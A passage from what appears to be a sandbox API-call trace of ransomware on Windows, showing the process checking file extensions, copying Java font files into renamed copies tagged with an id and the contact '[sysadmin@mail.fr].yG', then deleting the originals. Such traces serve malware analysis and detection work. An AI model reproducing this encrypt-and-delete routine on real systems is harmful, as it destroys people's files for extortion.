	[0144.050] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0144.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.050] lstrlenW (lpString=".dbf") returned 4
	[0144.050] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0144.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.050] lstrlenW (lpString=".1cd") returned 4
	[0144.050] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0144.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56
	[0144.050] lstrlenW (lpString=".jpg") returned 4
	[0144.050] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0144.050] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0144.051] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24
	[0144.051] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0144.137] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=75144) returned 1
	[0144.137] CloseHandle (hObject=0x508) returned 1
	[0144.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20
	[0144.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.432] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.432] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.432] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.473] GetLastError () returned 0x0
	[0144.473] ReadFile (in: hFile=0x530, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x12588, lpOverlapped=0x0) returned 1
	[0144.478] WriteFile (in: hFile=0x4d8, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x12590, lpOverlapped=0x0) returned 1
	[0144.480] ReadFile (in: hFile=0x530, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.480] WriteFile (in: hFile=0x4d8, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x104, lpOverlapped=0x0) returned 1
	[0144.480] SetEndOfFile (hFile=0x4d8) returned 1
	[0144.480] CloseHandle (hObject=0x4d8) returned 1
	[0144.481] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.481] SetEndOfFile (hFile=0x530) returned 1
	[0144.486] CloseHandle (hObject=0x530) returned 1
	[0144.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0144.487] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1
	[0144.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.488] lstrlenW (lpString=".doc") returned 4
	[0144.488] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0144.488] lstrlenW (lpString=".docx") returned 5
	[0144.488] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0144.488] lstrlenW (lpString=".pdf") returned 4
	[0144.488] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0144.488] lstrlenW (lpString=".xls") returned 4
	[0144.488] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0144.488] lstrlenW (lpString=".xlsx") returned 5
	[0144.488] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0144.488] lstrlenW (lpString=".ppt") returned 4
	[0144.488] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0144.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.488] lstrlenW (lpString=".zip") returned 4
	[0144.488] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0144.488] lstrlenW (lpString=".rar") returned 4
	[0144.488] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0144.488] lstrlenW (lpString=".bz2") returned 4
	[0144.488] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0144.488] lstrlenW (lpString=".7z") returned 3
	[0144.488] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0144.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.489] lstrlenW (lpString=".dbf") returned 4
	[0144.489] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0144.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.489] lstrlenW (lpString=".1cd") returned 4
	[0144.489] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0144.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.489] lstrlenW (lpString=".jpg") returned 4
	[0144.489] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0144.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.489] lstrlenW (lpString=".doc") returned 4
	[0144.489] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0144.489] lstrlenW (lpString=".docx") returned 5
	[0144.489] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0144.489] lstrlenW (lpString=".pdf") returned 4
	[0144.489] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0144.489] lstrlenW (lpString=".xls") returned 4
	[0144.489] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0144.489] lstrlenW (lpString=".xlsx") returned 5
	[0144.489] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0144.489] lstrlenW (lpString=".ppt") returned 4
	[0144.489] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0144.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.489] lstrlenW (lpString=".zip") returned 4
	[0144.489] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0144.490] lstrlenW (lpString=".rar") returned 4
	[0144.490] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0144.490] lstrlenW (lpString=".bz2") returned 4
	[0144.490] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0144.490] lstrlenW (lpString=".7z") returned 3
	[0144.490] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0144.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.490] lstrlenW (lpString=".dbf") returned 4
	[0144.490] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0144.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.490] lstrlenW (lpString=".1cd") returned 4
	[0144.490] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0144.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69
	[0144.490] lstrlenW (lpString=".jpg") returned 4
	[0144.490] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0144.490] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0144.490] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22
	[0144.490] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.491] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=80856) returned 1
	[0144.491] CloseHandle (hObject=0x530) returned 1
	[0144.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20
	[0144.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.491] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.492] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.492] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.492] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.493] GetLastError () returned 0x0
	[0144.493] ReadFile (in: hFile=0x530, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x13bd8, lpOverlapped=0x0) returned 1
	[0144.497] WriteFile (in: hFile=0x4d8, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x13be0, lpOverlapped=0x0) returned 1
	[0144.499] ReadFile (in: hFile=0x530, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.500] WriteFile (in: hFile=0x4d8, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x100, lpOverlapped=0x0) returned 1
	[0144.500] SetEndOfFile (hFile=0x4d8) returned 1
	[0144.500] CloseHandle (hObject=0x4d8) returned 1
	[0144.500] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.500] SetEndOfFile (hFile=0x530) returned 1
	[0144.515] CloseHandle (hObject=0x530) returned 1
	[0144.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0144.823] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1
	[0145.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.700] lstrlenW (lpString=".doc") returned 4
	[0145.700] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0145.700] lstrlenW (lpString=".docx") returned 5
	[0145.700] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0145.700] lstrlenW (lpString=".pdf") returned 4
	[0145.700] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0145.700] lstrlenW (lpString=".xls") returned 4
	[0145.700] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0145.700] lstrlenW (lpString=".xlsx") returned 5
	[0145.700] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0145.700] lstrlenW (lpString=".ppt") returned 4
	[0145.700] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0145.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.700] lstrlenW (lpString=".zip") returned 4
	[0145.700] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0145.700] lstrlenW (lpString=".rar") returned 4
	[0145.700] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0145.700] lstrlenW (lpString=".bz2") returned 4
	[0145.700] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0145.701] lstrlenW (lpString=".7z") returned 3
	[0145.701] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0145.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.701] lstrlenW (lpString=".dbf") returned 4
	[0145.701] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0145.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.701] lstrlenW (lpString=".1cd") returned 4
	[0145.701] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0145.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.701] lstrlenW (lpString=".jpg") returned 4
	[0145.701] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0145.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.701] lstrlenW (lpString=".doc") returned 4
	[0145.701] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0145.701] lstrlenW (lpString=".docx") returned 5
	[0145.701] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0145.701] lstrlenW (lpString=".pdf") returned 4
	[0145.701] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0145.701] lstrlenW (lpString=".xls") returned 4
	[0145.701] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0145.701] lstrlenW (lpString=".xlsx") returned 5
	[0145.701] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0145.701] lstrlenW (lpString=".ppt") returned 4
	[0145.701] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0145.701] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.701] lstrlenW (lpString=".zip") returned 4
	[0145.701] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0145.701] lstrlenW (lpString=".rar") returned 4
	[0145.702] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0145.702] lstrlenW (lpString=".bz2") returned 4
	[0145.702] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0145.702] lstrlenW (lpString=".7z") returned 3
	[0145.702] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0145.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.702] lstrlenW (lpString=".dbf") returned 4
	[0145.702] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0145.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.702] lstrlenW (lpString=".1cd") returned 4
	[0145.702] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0145.702] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0145.702] lstrlenW (lpString=".jpg") returned 4
	[0145.702] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0145.702] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0145.702] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27
	[0145.702] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0145.827] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=242700) returned 1
	[0145.827] CloseHandle (hObject=0x514) returned 1
	[0145.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20
	[0145.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.828] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0145.828] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.828] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.828] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0145.829] GetLastError () returned 0x0
	[0145.829] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x3b40c, lpOverlapped=0x0) returned 1
	[0146.252] WriteFile (in: hFile=0x534, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x3b410, lpOverlapped=0x0) returned 1
	[0146.257] ReadFile (in: hFile=0x514, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.257] WriteFile (in: hFile=0x534, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0146.257] SetEndOfFile (hFile=0x534) returned 1
	[0146.513] CloseHandle (hObject=0x534) returned 1
	[0146.514] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.514] SetEndOfFile (hFile=0x514) returned 1
	[0146.544] CloseHandle (hObject=0x514) returned 1
	[0146.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0146.544] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1
	[0146.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.545] lstrlenW (lpString=".doc") returned 4
	[0146.545] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0146.545] lstrlenW (lpString=".docx") returned 5
	[0146.545] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0146.545] lstrlenW (lpString=".pdf") returned 4
	[0146.545] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0146.545] lstrlenW (lpString=".xls") returned 4
	[0146.545] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0146.545] lstrlenW (lpString=".xlsx") returned 5
	[0146.545] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0146.545] lstrlenW (lpString=".ppt") returned 4
	[0146.545] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0146.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.546] lstrlenW (lpString=".zip") returned 4
	[0146.546] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0146.546] lstrlenW (lpString=".rar") returned 4
	[0146.546] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0146.546] lstrlenW (lpString=".bz2") returned 4
	[0146.546] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0146.546] lstrlenW (lpString=".7z") returned 3
	[0146.546] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0146.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.546] lstrlenW (lpString=".dbf") returned 4
	[0146.546] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0146.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.546] lstrlenW (lpString=".1cd") returned 4
	[0146.546] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0146.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.546] lstrlenW (lpString=".jpg") returned 4
	[0146.546] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0146.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0146.546] lstrlenW (lpString=".doc") returned 4
	[0146.546] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0146.546] lstrlenW (lpString=".docx") returned 5
	[0146.546] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0146.547] lstrlenW (lpString=".pdf") returned 4
	[0146.547] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0146.547] lstrlenW (lpString=".xls") returned 4
	[0146.547] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0146.547] lstrlenW (lpString=".xlsx") returned 5
	[0146.547] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0146.547] lstrlenW (lpString=".ppt") returned 4
	[0146.547] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
